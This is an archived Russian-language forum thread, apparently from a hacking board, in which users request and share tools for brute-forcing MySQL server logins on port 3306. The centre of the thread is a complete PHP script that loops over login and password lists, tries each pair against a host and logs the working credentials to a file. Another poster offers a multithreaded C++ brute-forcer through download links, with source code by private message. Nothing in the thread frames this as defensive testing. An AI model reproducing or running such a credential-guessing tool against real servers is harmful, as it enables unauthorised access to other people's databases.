Просмотр полной версии : Brut mysql серверов.
Подскажите брат для mysql серверов на удаленном порту 3306!
Сори если не туда напостил!
POS_troi
24.05.2010, 19:23
на PHP можно в строчек 20 вложится
на PHP можно в строчек 20 вложится
Ну в принципе мне без разницы...
Главное што-бы шустро работал, и был виден результат!!
Вроде в новом метасплойте есть
Вроде в новом метасплойте есть
Если я не ошибаюсь он там брутит через http или phpmyadmin!
Вариант на PHP
<?php
$host = "localhost";
$port = "3306";
$uid_file = file("login.txt");
$pwd_file = file("passw.txt");
$brute_save = fopen("brute_save.txt","a+");
$yes_connect = 0;
$no_connect = 0;
for($i=0; $i<count($uid_file); $i++) {
$login = trim($uid_file[$i]);
for($j=0; $j<count($pwd_file); $j++) {
$passwd = trim($pwd_file[$j]);
if($conn = @mysql_connect($host.":".$port, $login, $passwd)) {
flock($brute_save, 3);
fputs($brute_save, date("d.m.y H:i:s")."|HOST: ".$host."|Login: ".$login."|Password: ".$passwd."\r\n");
flock($brute_save, 1);
mysql_close($conn);
$yes_connect++;
}
else {
$no_connect++;
continue;
}
}
}
echo "<font face=Tahoma color=#444444 size=2>Удачных подключений: $yes_connect</font><br>";
echo "<font face=Tahoma color=red size=2>Неудачных попыток: $no_connect</font><br>";
$show_brute = file("brute_save.txt");
for($i=0; $i<count($show_brute); $i++) {
list($dates, $host, $login, $passwd) = explode("|", $show_brute[$i]);
echo "<font face=Tahoma color=#runthes size=2>[".$dates."][".$host."][".$login."][".$passwd."]</font><br>";
}
?>
Redwood На локал хосте скорость просто поражает...
А если указывать другой сервер, то тут он не работает...
Это из-за того что не все сервера разрешают коннект извне.
Написал сейчас на C++ (VS 2008)
http://depositfiles.com/files/jzvxmk36v
http://slil.ru/29197733
(ссылки обновлены, теперь включают libmysql.dll)
Брутит по спискам, для каждого пользователя отдельный поток.
За сорсами в пм
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot